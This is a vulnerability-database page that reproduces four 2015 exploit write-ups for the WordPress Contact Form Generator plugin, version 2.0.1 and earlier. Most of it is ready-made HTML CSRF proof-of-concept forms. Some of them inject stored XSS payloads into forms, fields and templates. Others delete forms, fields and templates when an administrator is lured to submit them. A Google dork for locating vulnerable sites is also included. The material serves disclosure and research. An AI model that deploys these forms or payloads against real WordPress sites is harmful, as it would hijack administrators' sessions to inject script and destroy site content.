Vulners
Lucene search
WordPress Contact Form Generator <= 2.0.1 - Multiple CSRF Vulnerabilities
<html>
<!--
# Exploit Title: WordPress Contact Form Generator v2.0.1 and below (create/update field for contact form) CSRF and Persistent issue
# Date: 2015-09-04
# Google Dork: Index of /wp-content/plugins/contact-form-generator/
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ]
# Vendor Homepage: http://creative-solutions.net/
# plugin uri: http://creative-solutions.net/wordpress/contact-form-generator/
# Software Link: https://downloads.wordpress.org/plugin/contact-form-generator.zip
# Version: 2.0.1
# Tested on: windows 10 + firefox.
======================
Description (plugin)
======================
Contact Form Generator is a powerful contact form builder for WordPress! See <a href="http://creative-solutions.net/wordpress/contact-
form-generator/demo">Live Demos</a>. It is packed with a <a href="http://creative-solutions.net/wordpress/contact-form-generator/
template-creator-demo">Template Creator Wizard</a> to create fantastic forms in a matter of seconds without coding.
(copy of ´contactformgenerator.php´ file)
===================
TECHNICAL DETAILS
===================
A CSRF issue was found in the latest version of the plugin for wordpress 'Contact Form Generator'.
The issue can be exploited by sending a special link to a wordpress administrator having installed the vulnerable plugin.
form field creation: when the victim accesses the sent link, will create a new form and inject HTML / JS code
without knowing.
Update form field: when the victim accesses the link, will update information of the form identified for ´id´
parameter by injecting HTML / JS code.
-->
<!--
================================
Field form creation [CSRF PoC]
================================
-->
<body>
<form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_forms&act=cfg_submit_data&holder=fields" method="POST">
<input type="hidden" name="name" value=">"<img src=x>" />
<input type="hidden" name="id_form" value="8" /> <!-- an existing form id value for this element -->
<input type="hidden" name="id_type" value="1" />
<input type="hidden" name="task" value="save" />
<input type="hidden" name="id" value="0" />
<input type="submit" value="Click me for create a field" />
</form>
</body>
<!--
================================
Field form update [CSRF PoC]
================================
-->
<body>
<form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_forms&act=cfg_submit_data&holder=fields" method="POST">
<input type="hidden" name="name" value="s" onmouseover="alert(/i0-sec/)" a=" />
<input type="hidden" name="tooltip_text" value="s" onmouseover="alert(/i0-sec/)" a=" />
<input type="hidden" name="id_form" value="3" /> <!-- an existing form id value -->
<input type="hidden" name="id_type" value="1" />
<input type="hidden" name="column_type" value="0" />
<input type="hidden" name="required" value="0" />
<input type="hidden" name="published" value="1" />
<input type="hidden" name="width" value="s" onmouseover="alert(/i0-sec/)" a=" />
<input type="hidden" name="field_margin_top" value="s" onmouseover="alert(/i0-sec/)" a=" />
<input type="hidden" name="task" value="save" />
<input type="hidden" name="id" value="7" /> <!-- field id to edit -->
<input type="submit" value="Click me for update a field" />
</form>
</body>
</html>
<!--
2015-09-02: vulnerability found
2015-09-04: Reported to vendor
2015-09-04: Full disclosure
-->
<html>
<!--
# Exploit Title: WordPress Contact Form Generator v2.0.1 and below (create/update form) CSRF and Persistent issue
# Date: 2015-09-04
# Google Dork: Index of /wp-content/plugins/contact-form-generator/
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ]
# Vendor Homepage: http://creative-solutions.net/
# plugin uri: http://creative-solutions.net/wordpress/contact-form-generator/
# Software Link: https://downloads.wordpress.org/plugin/contact-form-generator.zip
# Version: 2.0.1
# Tested on: windows 10 + firefox.
======================
Description (plugin)
======================
Contact Form Generator is a powerful contact form builder for WordPress! See <a href="http://creative-solutions.net/wordpress/contact-
form-generator/demo">Live Demos</a>. It is packed with a <a href="http://creative-solutions.net/wordpress/contact-form-generator/
template-creator-demo">Template Creator Wizard</a> to create fantastic forms in a matter of seconds without coding.
(copy of ´contactformgenerator.php´ file)
===================
TECHNICAL DETAILS
===================
A CSRF issue was found in the latest version of the plugin for wordpress 'Contact Form Generator'.
The issue can be exploited by sending a special link to a wordpress administrator having installed the vulnerable plugin.
template creation: when the victim accesses the sent link, will create a new form and inject HTML / JS code
without knowing.
Update form: when the victim accesses the link, will update information of the form identified for ´id´
parameter by injecting HTML / JS code.
-->
<!--
=========================
Create form [CSRF PoC ]
=========================
payload: "><img src=[x]><
-->
<body>
<form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_forms&act=cfg_submit_data&holder=forms" method="POST">
<input type="hidden" name="name" value="dsSASA"><img src=1><" />
<input type="hidden" name="top_text" value="xds"><img src=2><" />
<input type="hidden" name="pre_text" value="</textarea>"><img src=3><" />
<input type="hidden" name="thank_you_text" value="Message successfully sent"><img src=4><" />
<input type="hidden" name="send_text" value="Send"><img src=5><" />
<input type="hidden" name="send_new_text" value="New email"><img src=6><" />
<input type="hidden" name="close_alert_text" value="Close"><img src=7><" />
<input type="hidden" name="form_width" value="100%"><img src=8><" />
<input type="hidden" name="id_template" value="0" />
<input type="hidden" name="email_to" value=""><img src=9><" />
<input type="hidden" name="email_bcc" value=""><img src=10><" />
<input type="hidden" name="email_subject" value=""><img src=11><" />
<input type="hidden" name="email_from" value=""><img src=12><" />
<input type="hidden" name="email_from_name" value=""><img src=13><" />
<input type="hidden" name="email_replyto" value=""><img src=14><" />
<input type="hidden" name="email_replyto_name" value=""><img src=15><" />
<input type="hidden" name="redirect" value="0" />
<input type="hidden" name="redirect_itemid" value="2"><img src=17><" />
<input type="hidden" name="redirect_url" value=""><img src=16><" />
<input type="hidden" name="redirect_delay" value="0" />
<input type="hidden" name="send_copy_enable" value="1" />
<input type="hidden" name="send_copy_text" value="Send me a copy"><img src=17><" />
<input type="hidden" name="shake_count" value="2" />
<input type="hidden" name="shake_distanse" value="10" />
<input type="hidden" name="shake_duration" value="300" />
<input type="hidden" name="email_info_show_referrer" value="1" />
<input type="hidden" name="email_info_show_ip" value="1" />
<input type="hidden" name="email_info_show_browser" value="1" />
<input type="hidden" name="email_info_show_os" value="1" />
<input type="hidden" name="email_info_show_sc_res" value="1" />
<input type="hidden" name="show_back" value="1" />
<input type="hidden" name="published" value="1" />
<input type="hidden" name="custom_css" value="</textarea>"><img src=21><" />
<input type="hidden" name="task" value="save" />
<input type="hidden" name="id" value="0" />
<input type="submit" value="Click me for create a form" />
</form>
</body>
<!--
==========================
Update form [CSRF PoC ]
==========================
payload: "><img src=[x]><
-->
<body>
<form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_forms&act=cfg_submit_data&holder=forms" method="POST">
<input type="hidden" name="name" value="dsSASA"><img src=1><" />
<input type="hidden" name="top_text" value="xds"><img src=2><" />
<input type="hidden" name="pre_text" value="</textarea>"><img src=3><" />
<input type="hidden" name="thank_you_text" value="Message successfully sent"><img src=4><" />
<input type="hidden" name="send_text" value="Send"><img src=5><" />
<input type="hidden" name="send_new_text" value="New email"><img src=6><" />
<input type="hidden" name="close_alert_text" value="Close"><img src=7><" />
<input type="hidden" name="form_width" value="100%"><img src=8><" />
<input type="hidden" name="id_template" value="0" />
<input type="hidden" name="email_to" value=""><img src=9><" />
<input type="hidden" name="email_bcc" value=""><img src=10><" />
<input type="hidden" name="email_subject" value=""><img src=11><" />
<input type="hidden" name="email_from" value=""><img src=12><" />
<input type="hidden" name="email_from_name" value=""><img src=13><" />
<input type="hidden" name="email_replyto" value=""><img src=14><" />
<input type="hidden" name="email_replyto_name" value=""><img src=15><" />
<input type="hidden" name="redirect" value="0" />
<input type="hidden" name="redirect_itemid" value="2"><img src=17><" />
<input type="hidden" name="redirect_url" value=""><img src=16><" />
<input type="hidden" name="redirect_delay" value="0" />
<input type="hidden" name="send_copy_enable" value="1" />
<input type="hidden" name="send_copy_text" value="Send me a copy"><img src=17><" />
<input type="hidden" name="shake_count" value="2" />
<input type="hidden" name="shake_distanse" value="10" />
<input type="hidden" name="shake_duration" value="300" />
<input type="hidden" name="email_info_show_referrer" value="1" />
<input type="hidden" name="email_info_show_ip" value="1" />
<input type="hidden" name="email_info_show_browser" value="1" />
<input type="hidden" name="email_info_show_os" value="1" />
<input type="hidden" name="email_info_show_sc_res" value="1" />
<input type="hidden" name="show_back" value="1" />
<input type="hidden" name="published" value="1" />
<input type="hidden" name="custom_css" value="</textarea>"><img src=21><" />
<input type="hidden" name="task" value="save" />
<input type="hidden" name="id" value="0" />
<input type="submit" value="Click me for edit form" />
</form>
</body>
</html>
<!--
===========
TIMELINE
===========
2015-09-02: vulnerability found
2015-09-04: Reported to vendor
2015-09-04: Full disclosure
-->
<html>
<!--
# Exploit Title: WordPress Contact Form Generator v2.0.1 and below (create/update template for contact form) CSRF and Persistent issue
# Date: 2015-09-04
# Google Dork: Index of /wp-content/plugins/contact-form-generator/
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ]
# Vendor Homepage: http://creative-solutions.net/
# plugin uri: http://creative-solutions.net/wordpress/contact-form-generator/
# Software Link: https://downloads.wordpress.org/plugin/contact-form-generator.zip
# Version: 2.0.1
# Tested on: windows 10 + firefox.
======================
Description (plugin)
======================
Contact Form Generator is a powerful contact form builder for WordPress! See <a href="http://creative-solutions.net/wordpress/contact-
form-generator/demo">Live Demos</a>. It is packed with a <a href="http://creative-solutions.net/wordpress/contact-form-generator/
template-creator-demo">Template Creator Wizard</a> to create fantastic forms in a matter of seconds without coding.
(copy of ´contactformgenerator.php´ file)
===================
TECHNICAL DETAILS
===================
A CSRF issue was found in the latest version of the plugin for wordpress 'Contact Form Generator'.
The issue can be exploited by sending a special link to a wordpress administrator having installed the vulnerable plugin.
template creation: when the victim accesses the sent link, will create a new template and inject HTML / JS code
without knowing.
Update template: when the victim accesses the link, will update information of the template identified for ´id´
parameter by injecting HTML / JS code.
-->
<!--
==============================
create a template [CSRF PoC ]
==============================
payload: "><img src=x>
-->
<body>
<form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_forms&act=cfg_submit_data&holder=templates" method="POST">
<input type="hidden" name="name" value="xsa"><img src=x>" /> <!-- persistent form name [XSS] -->
<input type="hidden" name="published" value="1" />
<input type="hidden" name="task" value="save" />
<input type="hidden" name="id" value="0" />
<input type="submit" value="Click me for add new template" />
</form>
</body>
<!--
==============================
edit a template [CSRF PoC ]
==============================
payload: "><img src=x>
-->
<body>
<form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_forms&act=cfg_submit_data&holder=templates" method="POST">
<input type="hidden" name="name" value=""><img src=x>" />
<input type="hidden" name="styles[587]" value=""><img src=x>" />
<input type="hidden" name="styles[588]" value=""><img src=x>" />
<input type="hidden" name="styles[131]" value="inherit" />
<input type="hidden" name="styles[589]" value="1" />
<input type="hidden" name="styles[629]" value="dark-thin" />
<input type="hidden" name="styles[630]" value="dark-thin" />
<input type="hidden" name="styles[627]" value="0" />
<input type="hidden" name="styles[0]" value=""><img src=x>" />
<input type="hidden" name="styles[130]" value=""><img src=x>" />
<input type="hidden" name="styles[517]" value=""><img src=x>" />
<input type="hidden" name="styles[518]" value=""><img src=x>" />
<input type="hidden" name="styles[1]" value=""><img src=x>" />
<input type="hidden" name="styles[2]" value=""><img src=x>" />
<input type="hidden" name="styles[3]" value="solid" />
<input type="hidden" name="styles[4]" value=""><img src=x>" />
<input type="hidden" name="styles[5]" value=""><img src=x>" />
<input type="hidden" name="styles[6]" value=""><img src=x>" />
<input type="hidden" name="styles[7]" value=""><img src=x>" />
<input type="hidden" name="styles[8]" value=""><img src=x>" />
<input type="hidden" name="styles[9]" value=""><img src=x>" />
<input type="hidden" name="styles[10]" value=""><img src=x>" />
<input type="hidden" name="styles[11]" value=""><img src=x>" />
<input type="hidden" name="styles[12]" value=""><img src=x>" />
<input type="hidden" name="styles[13]" value=""><img src=x>" />
<input type="hidden" name="styles[14]" value=""><img src=x>" />
<input type="hidden" name="styles[15]" value=""><img src=x>" />
<input type="hidden" name="styles[16]" value=""><img src=x>" />
<input type="hidden" name="styles[17]" value=""><img src=x>" />
<input type="hidden" name="styles[18]" value=""><img src=x>" />
<input type="hidden" name="styles[19]" value=""><img src=x>" />
<input type="hidden" name="styles[600]" value="0" />
<input type="hidden" name="styles[601]" value=""><img src=x>" />
<input type="hidden" name="styles[602]" value=""><img src=x>" />
<input type="hidden" name="styles[603]" value=""><img src=x>" />
<input type="hidden" name="styles[604]" value=""><img src=x>" />
<input type="hidden" name="styles[605]" value=""><img src=x>" />
<input type="hidden" name="styles[606]" value=""><img src=x>" />
<input type="hidden" name="styles[607]" value=""><img src=x>" />
<input type="hidden" name="styles[608]" value="solid" />
<input type="hidden" name="styles[609]" value=""><img src=x>" />
<input type="hidden" name="styles[610]" value="0" />
<input type="hidden" name="styles[611]" value=""><img src=x>" />
<input type="hidden" name="styles[612]" value=""><img src=x>" />
<input type="hidden" name="styles[613]" value=""><img src=x>" />
<input type="hidden" name="styles[614]" value=""><img src=x>" />
<input type="hidden" name="styles[615]" value=""><img src=x>" />
<input type="hidden" name="styles[616]" value=""><img src=x>" />
<input type="hidden" name="styles[617]" value="0" />
<input type="hidden" name="styles[618]" value=""><img src=x>" />
<input type="hidden" name="styles[619]" value=""><img src=x>" />
<input type="hidden" name="styles[620]" value=""><img src=x>" />
<input type="hidden" name="styles[621]" value=""><img src=x>" />
<input type="hidden" name="styles[622]" value=""><img src=x>" />
<input type="hidden" name="styles[623]" value=""><img src=x>" />
<input type="hidden" name="styles[624]" value=""><img src=x>" />
<input type="hidden" name="styles[625]" value="solid" />
<input type="hidden" name="styles[626]" value=""><img src=x>" />
<input type="hidden" name="styles[20]" value=""><img src=x>" />
<input type="hidden" name="styles[21]" value=""><img src=x>" />
<input type="hidden" name="styles[22]" value="normal" />
<input type="hidden" name="styles[23]" value="normal" />
<input type="hidden" name="styles[24]" value="none" />
<input type="hidden" name="styles[25]" value="left" />
<input type="hidden" name="styles[506]" value="inherit" />
<input type="hidden" name="styles[510]" value="cfg_font_effect_none" />
<input type="hidden" name="styles[27]" value=""><img src=x>" />
<input type="hidden" name="styles[28]" value=""><img src=x>" />
<input type="hidden" name="styles[29]" value=""><img src=x>" />
<input type="hidden" name="styles[30]" value=""><img src=x>" />
<input type="hidden" name="styles[190]" value=""><img src=x>" />
<input type="hidden" name="styles[191]" value=""><img src=x>" />
<input type="hidden" name="styles[192]" value=""><img src=x>" />
<input type="hidden" name="styles[502]" value="left" />
<input type="hidden" name="styles[193]" value=""><img src=x>" />
<input type="hidden" name="styles[194]" value=""><img src=x>" />
<input type="hidden" name="styles[195]" value=""><img src=x>" />
<input type="hidden" name="styles[196]" value="solid" />
<input type="hidden" name="styles[197]" value=""><img src=x>" />
<input type="hidden" name="styles[198]" value=""><img src=x>" />
<input type="hidden" name="styles[199]" value="normal" />
<input type="hidden" name="styles[200]" value="normal" />
<input type="hidden" name="styles[201]" value="none" />
<input type="hidden" name="styles[202]" value="inherit" />
<input type="hidden" name="styles[511]" value="cfg_font_effect_none" />
<input type="hidden" name="styles[203]" value=""><img src=x>" />
<input type="hidden" name="styles[204]" value=""><img src=x>" />
<input type="hidden" name="styles[205]" value=""><img src=x>" />
<input type="hidden" name="styles[206]" value=""><img src=x>" />
<input type="hidden" name="styles[215]" value=""><img src=x>" />
<input type="hidden" name="styles[216]" value=""><img src=x>" />
<input type="hidden" name="styles[217]" value=""><img src=x>" />
<input type="hidden" name="styles[218]" value=""><img src=x>" />
<input type="hidden" name="styles[31]" value=""><img src=x>" />
<input type="hidden" name="styles[32]" value=""><img src=x>" />
<input type="hidden" name="styles[33]" value="normal" />
<input type="hidden" name="styles[34]" value="normal" />
<input type="hidden" name="styles[35]" value="none" />
<input type="hidden" name="styles[36]" value="left" />
<input type="hidden" name="styles[507]" value="inherit" />
<input type="hidden" name="styles[512]" value="cfg_font_effect_none" />
<input type="hidden" name="styles[37]" value=""><img src=x>" />
<input type="hidden" name="styles[38]" value=""><img src=x>" />
<input type="hidden" name="styles[39]" value=""><img src=x>" />
<input type="hidden" name="styles[40]" value=""><img src=x>" />
<input type="hidden" name="styles[41]" value=""><img src=x>" />
<input type="hidden" name="styles[42]" value=""><img src=x>" />
<input type="hidden" name="styles[43]" value="normal" />
<input type="hidden" name="styles[44]" value="normal" />
<input type="hidden" name="styles[509]" value="inherit" />
<input type="hidden" name="styles[46]" value=""><img src=x>" />
<input type="hidden" name="styles[47]" value=""><img src=x>" />
<input type="hidden" name="styles[48]" value=""><img src=x>" />
<input type="hidden" name="styles[49]" value=""><img src=x>" />
<input type="hidden" name="styles[505]" value="white" />
<input type="hidden" name="styles[508]" value="inherit" />
<input type="hidden" name="styles[132]" value=""><img src=x>" />
<input type="hidden" name="styles[133]" value=""><img src=x>" />
<input type="hidden" name="styles[168]" value=""><img src=x>" />
<input type="hidden" name="styles[519]" value=""><img src=x>" />
<input type="hidden" name="styles[520]" value=""><img src=x>" />
<input type="hidden" name="styles[500]" value="left" />
<input type="hidden" name="styles[501]" value="left" />
<input type="hidden" name="styles[134]" value=""><img src=x>" />
<input type="hidden" name="styles[135]" value=""><img src=x>" />
<input type="hidden" name="styles[136]" value="solid" />
<input type="hidden" name="styles[137]" value=""><img src=x>" />
<input type="hidden" name="styles[138]" value=""><img src=x>" />
<input type="hidden" name="styles[139]" value=""><img src=x>" />
<input type="hidden" name="styles[140]" value=""><img src=x>" />
<input type="hidden" name="styles[141]" value=""><img src=x>" />
<input type="hidden" name="styles[142]" value=""><img src=x>" />
<input type="hidden" name="styles[143]" value=""><img src=x>" />
<input type="hidden" name="styles[144]" value=""><img src=x>" />
<input type="hidden" name="styles[145]" value=""><img src=x>" />
<input type="hidden" name="styles[146]" value=""><img src=x>" />
<input type="hidden" name="styles[147]" value=""><img src=x>" />
<input type="hidden" name="styles[148]" value=""><img src=x>" />
<input type="hidden" name="styles[149]" value="normal" />
<input type="hidden" name="styles[150]" value="normal" />
<input type="hidden" name="styles[151]" value="none" />
<input type="hidden" name="styles[152]" value="inherit" />
<input type="hidden" name="styles[153]" value=""><img src=x>" />
<input type="hidden" name="styles[154]" value=""><img src=x>" />
<input type="hidden" name="styles[155]" value=""><img src=x>" />
<input type="hidden" name="styles[156]" value=""><img src=x>" />
<input type="hidden" name="styles[157]" value=""><img src=x>" />
<input type="hidden" name="styles[158]" value=""><img src=x>" />
<input type="hidden" name="styles[159]" value=""><img src=x>" />
<input type="hidden" name="styles[160]" value=""><img src=x>" />
<input type="hidden" name="styles[161]" value=""><img src=x>" />
<input type="hidden" name="styles[162]" value=""><img src=x>" />
<input type="hidden" name="styles[163]" value=""><img src=x>" />
<input type="hidden" name="styles[164]" value=""><img src=x>" />
<input type="hidden" name="styles[165]" value=""><img src=x>" />
<input type="hidden" name="styles[166]" value=""><img src=x>" />
<input type="hidden" name="styles[167]" value=""><img src=x>" />
<input type="hidden" name="styles[513]" value="cfg_font_effect_none" />
<input type="hidden" name="styles[176]" value=""><img src=x>" />
<input type="hidden" name="styles[177]" value=""><img src=x>" />
<input type="hidden" name="styles[178]" value=""><img src=x>" />
<input type="hidden" name="styles[179]" value=""><img src=x>" />
<input type="hidden" name="styles[180]" value=""><img src=x>" />
<input type="hidden" name="styles[181]" value=""><img src=x>" />
<input type="hidden" name="styles[182]" value=""><img src=x>" />
<input type="hidden" name="styles[183]" value=""><img src=x>" />
<input type="hidden" name="styles[184]" value=""><img src=x>" />
<input type="hidden" name="styles[185]" value=""><img src=x>" />
<input type="hidden" name="styles[186]" value=""><img src=x>" />
<input type="hidden" name="styles[187]" value=""><img src=x>" />
<input type="hidden" name="styles[188]" value=""><img src=x>" />
<input type="hidden" name="styles[189]" value=""><img src=x>" />
<input type="hidden" name="styles[171]" value=""><img src=x>" />
<input type="hidden" name="styles[514]" value="cfg_font_effect_none" />
<input type="hidden" name="styles[172]" value=""><img src=x>" />
<input type="hidden" name="styles[173]" value=""><img src=x>" />
<input type="hidden" name="styles[174]" value=""><img src=x>" />
<input type="hidden" name="styles[175]" value=""><img src=x>" />
<input type="hidden" name="styles[169]" value=""><img src=x>" />
<input type="hidden" name="styles[521]" value=""><img src=x>" />
<input type="hidden" name="styles[522]" value=""><img src=x>" />
<input type="hidden" name="styles[170]" value=""><img src=x>" />
<input type="hidden" name="styles[523]" value=""><img src=x>" />
<input type="hidden" name="styles[535]" value=""><img src=x>" />
<input type="hidden" name="styles[536]" value=""><img src=x>" />
<input type="hidden" name="styles[537]" value=""><img src=x>" />
<input type="hidden" name="styles[538]" value=""><img src=x>" />
<input type="hidden" name="styles[539]" value=""><img src=x>" />
<input type="hidden" name="styles[540]" value=""><img src=x>" />
<input type="hidden" name="styles[541]" value=""><img src=x>" />
<input type="hidden" name="styles[542]" value=""><img src=x>" />
<input type="hidden" name="styles[543]" value=""><img src=x>" />
<input type="hidden" name="styles[544]" value=""><img src=x>" />
<input type="hidden" name="styles[545]" value=""><img src=x>" />
<input type="hidden" name="styles[546]" value=""><img src=x>" />
<input type="hidden" name="styles[547]" value="solid" />
<input type="hidden" name="styles[548]" value=""><img src=x>" />
<input type="hidden" name="styles[549]" value=""><img src=x>" />
<input type="hidden" name="styles[550]" value=""><img src=x>" />
<input type="hidden" name="styles[551]" value=""><img src=x>" />
<input type="hidden" name="styles[524]" value=""><img src=x>" />
<input type="hidden" name="styles[525]" value=""><img src=x>" />
<input type="hidden" name="styles[526]" value="normal" />
<input type="hidden" name="styles[527]" value="normal" />
<input type="hidden" name="styles[528]" value="none" />
<input type="hidden" name="styles[529]" value="inherit" />
<input type="hidden" name="styles[530]" value="cfg_font_effect_none" />
<input type="hidden" name="styles[531]" value=""><img src=x>" />
<input type="hidden" name="styles[532]" value=""><img src=x>" />
<input type="hidden" name="styles[533]" value=""><img src=x>" />
<input type="hidden" name="styles[534]" value=""><img src=x>" />
<input type="hidden" name="styles[91]" value=""><img src=x>" />
<input type="hidden" name="styles[50]" value=""><img src=x>" />
<input type="hidden" name="styles[212]" value="left" />
<input type="hidden" name="styles[92]" value=""><img src=x>" />
<input type="hidden" name="styles[93]" value=""><img src=x>" />
<input type="hidden" name="styles[209]" value=""><img src=x>" />
<input type="hidden" name="styles[100]" value=""><img src=x>" />
<input type="hidden" name="styles[101]" value=""><img src=x>" />
<input type="hidden" name="styles[127]" value="solid" />
<input type="hidden" name="styles[102]" value=""><img src=x>" />
<input type="hidden" name="styles[103]" value=""><img src=x>" />
<input type="hidden" name="styles[104]" value=""><img src=x>" />
<input type="hidden" name="styles[105]" value=""><img src=x>" />
<input type="hidden" name="styles[94]" value=""><img src=x>" />
<input type="hidden" name="styles[95]" value=""><img src=x>" />
<input type="hidden" name="styles[96]" value=""><img src=x>" />
<input type="hidden" name="styles[97]" value=""><img src=x>" />
<input type="hidden" name="styles[98]" value=""><img src=x>" />
<input type="hidden" name="styles[99]" value=""><img src=x>" />
<input type="hidden" name="styles[106]" value=""><img src=x>" />
<input type="hidden" name="styles[107]" value=""><img src=x>" />
<input type="hidden" name="styles[108]" value="normal" />
<input type="hidden" name="styles[109]" value="normal" />
<input type="hidden" name="styles[110]" value="none" />
<input type="hidden" name="styles[112]" value="inherit" />
<input type="hidden" name="styles[515]" value="cfg_font_effect_none" />
<input type="hidden" name="styles[113]" value=""><img src=x>" />
<input type="hidden" name="styles[114]" value=""><img src=x>" />
<input type="hidden" name="styles[115]" value=""><img src=x>" />
<input type="hidden" name="styles[116]" value=""><img src=x>" />
<input type="hidden" name="styles[51]" value=""><img src=x>" />
<input type="hidden" name="styles[52]" value=""><img src=x>" />
<input type="hidden" name="styles[124]" value=""><img src=x>" />
<input type="hidden" name="styles[516]" value="cfg_font_effect_none" />
<input type="hidden" name="styles[125]" value=""><img src=x>" />
<input type="hidden" name="styles[126]" value=""><img src=x>" />
<input type="hidden" name="styles[117]" value=""><img src=x>" />
<input type="hidden" name="styles[118]" value=""><img src=x>" />
<input type="hidden" name="styles[119]" value=""><img src=x>" />
<input type="hidden" name="styles[120]" value=""><img src=x>" />
<input type="hidden" name="styles[121]" value=""><img src=x>" />
<input type="hidden" name="styles[122]" value=""><img src=x>" />
<input type="hidden" name="styles[552]" value="1" />
<input type="hidden" name="styles[553]" value=""><img src=x>" />
<input type="hidden" name="styles[554]" value=""><img src=x>" />
<input type="hidden" name="styles[555]" value="normal" />
<input type="hidden" name="styles[556]" value="normal" />
<input type="hidden" name="styles[596]" value="none" />
<input type="hidden" name="styles[590]" value=""><img src=x>" />
<input type="hidden" name="styles[591]" value="solid" />
<input type="hidden" name="styles[592]" value=""><img src=x>" />
<input type="hidden" name="styles[558]" value=""><img src=x>" />
<input type="hidden" name="styles[559]" value=""><img src=x>" />
<input type="hidden" name="styles[560]" value=""><img src=x>" />
<input type="hidden" name="styles[561]" value=""><img src=x>" />
<input type="hidden" name="styles[563]" value="1" />
<input type="hidden" name="styles[562]" value="1" />
<input type="hidden" name="styles[597]" value=""><img src=x>" />
<input type="hidden" name="styles[598]" value=""><img src=x>" />
<input type="hidden" name="styles[564]" value=""><img src=x>" />
<input type="hidden" name="styles[565]" value="normal" />
<input type="hidden" name="styles[566]" value="normal" />
<input type="hidden" name="styles[594]" value="none" />
<input type="hidden" name="styles[567]" value=""><img src=x>" />
<input type="hidden" name="styles[568]" value="solid" />
<input type="hidden" name="styles[569]" value=""><img src=x>" />
<input type="hidden" name="styles[570]" value=""><img src=x>" />
<input type="hidden" name="styles[571]" value=""><img src=x>" />
<input type="hidden" name="styles[572]" value=""><img src=x>" />
<input type="hidden" name="styles[573]" value=""><img src=x>" />
<input type="hidden" name="styles[574]" value=""><img src=x>" />
<input type="hidden" name="styles[595]" value="none" />
<input type="hidden" name="styles[575]" value=""><img src=x>" />
<input type="hidden" name="styles[576]" value=""><img src=x>" />
<input type="hidden" name="styles[577]" value=""><img src=x>" />
<input type="hidden" name="styles[578]" value=""><img src=x>" />
<input type="hidden" name="styles[579]" value=""><img src=x>" />
<input type="hidden" name="styles[580]" value=""><img src=x>" />
<input type="hidden" name="styles[581]" value="normal" />
<input type="hidden" name="styles[582]" value="normal" />
<input type="hidden" name="styles[593]" value="none" />
<input type="hidden" name="styles[583]" value=""><img src=x>" />
<input type="hidden" name="styles[584]" value=""><img src=x>" />
<input type="hidden" name="styles[585]" value=""><img src=x>" />
<input type="hidden" name="styles[586]" value=""><img src=x>" />
<input type="hidden" name="styles[599]" value=""><img src=x>" />
<input type="hidden" name="styles[628]" value=""><img src=x>" />
<input type="hidden" name="task" value="save" />
<input type="hidden" name="id" value="2" /> <!-- template id to edit -->
<input type="submit" value="Click me for update template" />
</form>
</body>
</html>
<!--
2015-09-02: vulnerability found
2015-09-04: Reported to vendor
2015-09-04: Full disclosure
-->
<html>
<!--
# Exploit Title: WordPress Contact Form Generator v2.0.1 and below (delete) Cross-site Request Forgery (CSRF) issues
# Date: 2015-09-04
# Google Dork: Index of /wp-content/plugins/contact-form-generator/
# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ]
# Vendor Homepage: http://creative-solutions.net/
# plugin uri: http://creative-solutions.net/wordpress/contact-form-generator/
# Software Link: https://downloads.wordpress.org/plugin/contact-form-generator.zip
# Version: 2.0.1
# Tested on: windows 10 + firefox.
==============
Description
==============
Contact Form Generator is a powerful contact form builder for WordPress! See <a href="http://creative-solutions.net/wordpress/contact-form-generator/demo">Live Demos</a>. It is packed with a <a href="http://creative-solutions.net/wordpress/contact-form-generator/template-creator-demo">Template Creator Wizard</a> to create fantastic forms in a matter of seconds without coding.
===================
TECHNICAL DETAILS
===================
A CSRF issue was found in the latest version of the plugin for wordpress 'Contact Form Generator'.
The issue can be exploited by sending a special link to a wordpress administrator having installed the vulnerable plugin,
making the victim administrator user deletes a form (PoC # 1), delete a form element (PoC # 2), or delete an existing template (PoC # 3).
-->
<!--
===============================
delete a form [CSRF PoC #1]
===============================
-->
<body>
<form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_forms" method="POST">
<input type="hidden" name="filter_state" value="2" />
<input type="hidden" name="filter_search" value="" />
<!-- form id value.. -->
<input type="hidden" name="ids[]" value="2" />
<!-- end -->
<input type="hidden" name="task" value="delete" />
<input type="submit" value="Delete form(s)" />
</form>
</body>
<!--
===============================
delete a field [CSRF PoC #2]
===============================
-->
<body>
<form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_fields" method="POST">
<input type="hidden" name="filter_form" value="3" />
<input type="hidden" name="filter_state" value="2" />
<input type="hidden" name="filter_type" value="0" />
<input type="hidden" name="filter_search" value="" />
<!-- fields ids to delete -->
<input type="hidden" name="ids[]" value="9" />
<input type="hidden" name="ids[]" value="10" />
<!-- end list -->
<input type="hidden" name="task" value="delete" />
<input type="hidden" name="ids[]" value="" />
<input type="submit" value="delete field(s)" />
</form>
</body>
<!--
==================================
delete a template [CSRF PoC #3]
==================================
-->
<body>
<form action="http://localhost/wordpress2/wp-admin/admin.php?page=cfg_templates" method="POST">
<input type="hidden" name="filter_state" value="2" />
<input type="hidden" name="filter_search" value="" />
<!-- an existing template id(s) to delete -->
<input type="hidden" name="ids[]" value="1" />
<!--end-->
<input type="hidden" name="task" value="delete" />
<input type="hidden" name="ids[]" value="" />
<input type="submit" value="Delete template(s)" />
</form>
</body>
<!---
===========
TIME-LINE
===========
2015-09-02: vulnerability found
2015-09-04: Reported to vendor
2015-09-04: Full disclosure
->
# 0day.today [2018-03-13] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
07 Sep 2015 00:00Current
7.1High risk
Vulners AI Score7.1